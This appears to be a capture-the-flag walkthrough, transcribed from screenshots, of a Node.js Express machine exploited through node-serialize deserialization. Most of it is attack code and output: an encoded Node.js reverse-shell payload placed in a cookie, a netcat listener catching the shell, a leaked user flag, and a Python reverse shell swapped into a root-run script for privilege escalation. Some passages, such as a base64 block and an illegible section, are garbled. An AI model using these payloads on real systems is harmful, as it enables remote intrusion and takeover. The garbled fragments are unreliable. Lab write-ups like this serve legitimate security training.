



```
root@kali: ~/Masaüstü
Dosya Düzenle Görünüm Search Uçbirim Sekmeler Yardım
root@kali: ~/Masaüstü x
root@kali:~/Masaüstü# nmap -sC -sV -T4 10.10.10.85
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-12 09:07 +03
Nmap scan report for 10.10.10.85
Host is up (0.069s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE VERSION
3000/tcp  open  http      Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 23.45 seconds
```

 Request to http://10.10.10.85:3000

Forward	Drop	Intercept is on	Action
---------	------	-----------------	--------

Forward	Drop	Intercept is on	Action
---------	------	-----------------	--------

Forward	Drop	Intercept is on	Action
---------	------	-----------------	--------

Forward	Drop	Intercept is on	Action
---------	------	-----------------	--------

Raw	Params	Headers	Hex
-----	--------	---------	-----

Raw	Params	Headers	Hex
-----	--------	---------	-----

Raw	Params	Headers	Hex
-----	--------	---------	-----

Raw	Params	Headers	Hex
-----	--------	---------	-----

GET / HTTP/1.1

```
Host: 10.10.10.85:3000
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
```

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: profile=eyJ1c2VybmFtZSI6Ikd1bW15IiwiaWY291bnRyeSI6IklkayBQcm9iYWJseSBtb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D

Connection: close

Upgrade-Insecure-Requests: 1

```
If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPwslw9h6aY"
```

```
root@kali:~/Masaüstü# python nodejsshell.py 10.10.14.237 4444
[+] LHOST = 10.10.14.237
[+] LPORT = 4444
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,51,55,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
```

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\*log.js  
~/Masaüstü

Kaydet

☰



```
var y = {  
  rce : function()  
{eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,11  
})  
var serialize = require('node-serialize');  
console.log("Serialized: \n" + serialize.serialize(y));
```

```
root@kali:~/Masaüstü# node log.js
Serialized:
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,11
8,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10
,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,51,55,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,1
02,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110
,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117
,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,
32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,3
2,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79
,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47
,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,
59,10,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,115,104,46,115,11
6,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,
108,105,101,110,116,41,59,10,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,
105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,11
0,34,41,59,10,32,32,32,32,32,32,125,41,59,10,32,32,32,125,41,59,10,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32
,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44
,32,84,73,77,69,79,85,84,41,59,10,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10)}}")"
```

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\*cikti.txt  
~/Masaüstü

Kaydet

```
{ "rce": " $$ND_FUNC$$_function ()  
{eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,11  
)")}
```

# Encode to Base64 format

Simply use the form below

```
{ "rce": " _$$ND_FUNC$$_function
(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,1
01,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,
105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119
,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,51,55,34,59,10,80,79,82,84,61,34,5
2,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,11
2,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,1
0,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,3
2,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,1
0,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114
,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32
,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,1
23 10 32 32 32 32 118 97 114 32 99 108 105 101 110 116 32 61 32 110 101 119 32 110 101 116
```

> ENCODE <

UTF-8

You may also select output charset.

☐ Live mode OFF

Encodes while you type or paste (strict format).

Encodes an entire file (max. 10MB).

```
eyJyY2UiOiJfJCRCORF9GVU5DJCRfZnVuY3Rpb24gKCI7ZXZhChTdHJpbmcuZnJvbUNoYXJDb
2RIKDEwLDEwOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMzIsNjEsMzIsMTE0LDEwMSwx
MTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDEwMCwxMDEsMTE2LDM5LDQxLDM5LDEwL
DEwOCw5NywxMTQsMzIsMTE1LDEwMiw5NywxMTksMTEwLDM5LDYxLDM5LDEwNCwxMDEs
MTEzLDEwNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUs
MTEyLDEwNCwxMTEsOTksMTAxLDEwNSwxMTUsMzksNDEsNDYsMTE1LDEwMiw5NywxMTk
sMTEwLDM5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDQ4LDQ2LDQ5LDQ4LDQ2LDQ5LDUy
LDQ2LDUwLDUxLDM0LDM5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDUyLDUyLDUyLDUyL
DM0LDM5LDEwLDgwLDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLDQ4LDQ4LDQ4LDM0L
U5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDEwMSwxMDIsMzIsODMsM
TE2LDEwNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDEwMSwxMTYsMTEwLDEwNiwxMjEs
MTEyLDEwMSw0Niw5OSwxMTEsMTEwLDEwNiwxMDUsMTEwLDEwNSwxMiw2MSw2MS
w2MSwzMiwxOSwxMTcsMTFwLDEwMCwxMDFsMTAxLDEwNSwxMTAsMTAxLDEwMCwzOSw
```



## Request

Raw

### Params

## Headers

Hex

[illegible]

```
root@kali:~/Masaüstü# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.85: inverse host lookup failed: Unknown host
connect to [10.10.14.237] from (UNKNOWN) [10.10.10.85] 56018
Connected!
ls
Desktop
Documents
Downloads
examples.desktop
Music
node_modules
output.txt
Pictures
Public
server.js
Templates
Videos
□
```

```
root@kali:~/Masaüstü# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.85: inverse host lookup failed: Unknown host
connect to [10.10.14.237] from (UNKNOWN) [10.10.10.85] 56018
Connected!
ls
Desktop
Documents
Downloads
examples.desktop
Music
node_modules
output.txt
Pictures
Public
server.js
Templates
Videos
cd Downloads
ls
cd ..
cd Documents
ls
script.py
user.txt
cat user.txt
9a093cd22ce86b7f41db4116e80d0b0f
█
```

```
date
Tue Jun 12 02:17:05 EDT 2018
ls -la |grep Jun
drwxr-xr-x 21 sun sun 4096 Jun 12 02:14 .
drwx----- 3 sun sun 4096 Jun 12 01:20 .gnupg
-rw----- 1 sun sun 6732 Jun 12 01:20 .ICEauthority
-rw-r--r-- 1 root root 21 Jun 12 02:15 output.txt
-rw-rw-r-- 1 sun sun 4484 Jun 12 02:14 server.is
-rw----- 1 sun sun 48 Jun 12 01:19 .Xauthority
-rw----- 1 sun sun 82 Jun 12 01:19 .xsession-errors
cat output.txt
Script is running...
cd Documents
ls
script.py
user.txt
cat script.py
print "Script is running..."
```

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```
import socket, subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.237", 1234))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p=subprocess.call(["/bin/sh", "-i"])|
```

```
root@kali:~/Masaüstü# echo $TERM
xterm-256color
```

```
echo $TERM
```

```
python -c 'import pty;pty.spawn("/bin/bash");'  
sun@sun:~/Documents$ export TERM=xterm-256color  
export TERM=xterm-256color  
sun@sun:~/Documents$
```